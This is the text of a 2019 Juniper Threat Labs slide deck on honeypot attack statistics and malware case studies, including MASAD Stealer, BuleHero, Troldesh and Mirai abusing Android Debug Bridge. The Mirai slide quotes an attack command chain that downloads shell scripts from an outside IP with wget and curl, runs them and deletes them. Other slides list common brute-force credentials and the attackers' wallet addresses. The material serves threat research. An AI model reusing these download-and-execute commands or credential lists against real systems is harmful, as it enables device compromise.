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CONFIDENTIALITY AND LEGAL NOTICE

This material contains information that is confidential and proprietary to Juniper Networks, Inc. 
Recipient may not distribute, copy, or repeat information in the document without a signed non-
disclosure agreement (NDA).

Any statements of product direction contained in this presentation sets forth Juniper Networks’ 
current intention and is subject to change at any time without notice. No purchases are 
contingent upon Juniper Networks delivering any feature or functionality depicted in this 
presentation.

Copyright 2019 Juniper Networks, Inc. All rights reserved. Juniper Networks, the Juniper Networks logo, 
Juniper, Junos, and NXTWORK are registered trademarks of Juniper Networks, Inc. in the United States 
and other countries. All other trademarks, service marks, registered marks, or registered service marks are 
the property of their respective owners. Juniper Networks assumes no responsibility for any inaccuracies in 
this document. Juniper Networks reserves the right to change, modify, transfer, or otherwise revise this 
publication without notice.
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AGENDA

4

• Juniper Threat Labs intro

• Daily Attacks

• Source of data

• Stats (source countries, ports, etc.)

• Case Study 1: BuleHero Cryptominer

• Case Study 2: Troldesh Ransomware + cryptominer

• Case Study 3: Mirai botnet + ADB

• Case Study 4: Trojan + Cryptominer

• Detection Methods

• SRX Next Gen Firewall

• SkyATP Cloud Advanced Threat Prevention

• JATP On-Premise Advanced Threat Prevention 
Appliance

• Juniper MX Routers with SecIntel
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Juniper Threat Labs
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LABS?
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THE TEAM
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STAY INFORMED

DRIVE DETECTION

PROJECT OUR LEADERSHIP

JUNIPER THREAT LABS



© 2019 Juniper Networks 
Juniper Business Use Only

Juniper Business Use Only

JTL SOURCES OF INFORMATION

• Cyber Threat Alliance

• Open Source Intelligence

• US-CERT

• Customer Detections

• Honeypots

• Social Media

• Closed Security Groups
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JTL HONEYPOTS
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United States

France

Hong Kong

Israel

Singapore

Japan

Australia

India

Canada



© 2019 Juniper Networks 
Juniper Business Use Only

Juniper Business Use Only

SAMPLING OF SkyATP CUSTOMERS
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JTL THREAT INTELLIGENCE OPERATIONS

• Reputation Sources

• C&C network rule generation

• Threat Intel Generation (Continuous updates)

• Threat Analysis Lab – Interactive Detonation Sandbox

• Efficacy monitoring feedback loop

• C&C rule hits, blocked IPs, etc.

• Malware detections
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JTL THREAT RESEARCH

• Blue Sky Research Prototypes

• Mobile Threat Inspector – End user visibility

• Encrypted Traffic Analysis

• DGA detection

• Signature-less IoT botnet traffic detection

• HoneyProcs – Process Injection Detection

• Threat Hunting rules

• Sample Clustering

• Crawlers, Honeypots for Threat Discovery

• Daily Top Sites crawling

• Low interactivity TCP Honeypot

• High interactivity ssh honeypot

• SMB, RDP, HTTP honeypots

13
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Daily Attacks
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HOW OFTEN ARE YOU 

ATTACKED PER DAY?
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HOW OFTEN DO YOU GET ATTACKED EACH DAY?

4640 Probes

18s

908 Attackers

16
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EXAMPLE 1 OF HONEYPOT ATTACK
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EXAMPLE 2 OF HONEYPOT ATTACK
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MOST USED USERNAMES & PASSWORDS ON SSH HONEYPOT
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0 1,000 2,000 3,000 4,000

admin

[Blank]

telnet

123456

12345

1234

manager

12345678

111111

password

123

master

987654321

admin123

ubnt

test

7ujMko0admin

1111

0 2,000 4,000 6,000 8,000 10,000 12,000 14,000 16,000 18,000 20,000

root

admin

telnet

guest

adm

ftp

default

ftpuser

nagios

operator

administrator

1234

manager

111111

nobody

22

plcmspip

master

115,611
114,567
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2019Q3 TOP ATTACKERS
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2019Q2 TOP ATTACKERS
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2019Q3 TOP ATTACKED PORTS
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2019Q2 TOP ATTACKED PORTS
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2019Q3 GROUPING INTERESTS
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2019Q2 GROUPING INTERESTS
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SKYATP PE32 MALWARE FAMILY DISTRIBUTION
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MASAD Stealer
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MASAD STEALER
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▪ Off-the shelf malware
▪ Telegram Customer Support group (still active)
▪ Exfiltration via Telegram protocol



© 2019 Juniper Networks 
Juniper Business Use Only

Juniper Business Use Only

• AutoIt-Compiled Windows 

Executable 

• Masquerading as other tools or 

bundled with other software

ATTACK VECTOR

29
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INSTALLATION & PERSISTENCE

• Persistance: Creates a scheduled task to execute every minute

30
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STEALER FUNCTION
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SAMPLE DATA STOLEN FROM SANDBOX DATA IT IS CAPABLE OF STEALING
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EXFILTRATION
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SENDING THE ZIP FILE TO A TELEGRAM BOT KNOWN TELEGRAM BOT OPERATORS
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Crypto Currencies

Monero Bitcoin Cash Litecoin Neo Web Money

ADA ZCASH DogeCoin Stratis QIWI Pay

Bicond Waves Reddcoin Qtum Payeer

Bytecoin Bitcoin Black Coin VIA

Steam Trade Link Bitcoin Gold Emercoin Lisk

Ethereum Dash Ripple Yandex Money

CLIPPER FUNCTION

33

Watching the clipboard 
for specific crypto-wallet 
string patterns and 
replaces it with its own

• Sample fraudulent wallets:
Bitcoin: 1AtwyYF2TGR969cyRDrR2XFDqSPzwCXKfe
Monero: 
42Mm9gjuUSmPNr7aF1ZbQC6dcTeSi1MgB1Tv41frv1Z
RFWLn4wNoLH3LDAGn9Fg2dhJW2VRHTz8Fo9ZAit95
1D2pDY8ggCR
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MINERS INSTALLATION
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JUNIPER PROTECTION
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MASAD STEALER
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THANK YOU
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BULEHERO cryptominer



© 2019 Juniper Networks 
Juniper Business Use Only

Juniper Business Use Only

BULEHERO ATTACKS
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EternalBlue & Double Pulsar
Added ThinkPHP & TomCat Exploits
XMRig Miner
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Trolldesh: 

Ransomware + cryptominer
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TROLDESH ATTACKS
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$181,083

2-Layer Packer
Strings Obfuscation

Dynamic API Resolution
Static Link TOR Client

CMS Brute-Forcer (SQL 
Injection)

Zcash Miner
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Mirai + Android Debug Bridge
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ANDROID DEBUG BRIDGE

• Direct Connection to Android device via WiFi or USB.

• Uses port 5555.

• Execution of system or shell commands.

• No authentication required ☺

• Disabled by default.

43
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ATTACK CYCLE

Command Execution

Shell Code

Binary payload

44
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COMMAND EXECUTION

cd /data/local/tmp; 

busybox wget http://185[.]159.82.110/r -O ->r; 

sh r; 

wget http://185[.]159.82.110/br -O ->r2;

sh r2; 

busybox curl http://185[.]159.82.110/bc > r3; 

sh r3; 

curl http://185[.]159.82.110/c > r4; 

sh r4; 

rm -rf r r2 r3 r4

45
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SHELL CODE – BUSYBOX-WGET CASE
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BINARY PAYLOAD
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Mirai botnet + worming
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Trojan + CryptoMiner
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TROJAN LEADS TO CRYPTOMINER

Monero
Miner

Trojan 
Dldr

Exploit

49

• Apache struts2 or Weblogic exploits
• Powerful Trojan Downloader
• Monero miner – minexmr.com mining pool Exploit
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TROJAN ARMORING AND PERSISTENCE

• Language, Device and Operating System Detection

• Anti Debugging

• Anti Analysis armoring (detects sleep acceleration, VM artifacts like VMCI bus driver, CPUID,...)

• HIPS / PFW / Operating System Protection Evasion

• Boot Survival – installs a service

• Hooking, Clipboard capture

• Downloads secondary payload.

50
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SERVICE CREATION
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DOWNLOADING CRYPTOMINER
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JUNIPER ADVANCED THREAT PREVENTION
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JUNIPER SKY ATP DETECTION

54



© 2019 Juniper Networks 
Juniper Business Use Only

Juniper Business Use Only
55

WHAT HAPPENS WHEN 

MINING NO LONGER 

PROFITABLE?
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XMR –MONERO PRICE
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TROJAN BACKDOOR

Monero
Miner

Trojan 
Dldr

Exploit
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• Language, Device and OS Detection
• Hooking
• Anti Debugging
• Anti Analysis armoring 
• HIPS / PFW / OS Protection Evasion
• Malware Analysis System Evasion
• Boot Survival – installs a service
• Clipboard capture
• Downloads Secondary Payload.
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THANK YOU
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SKYATP MALWARE FAMILY DISTRIBUTION
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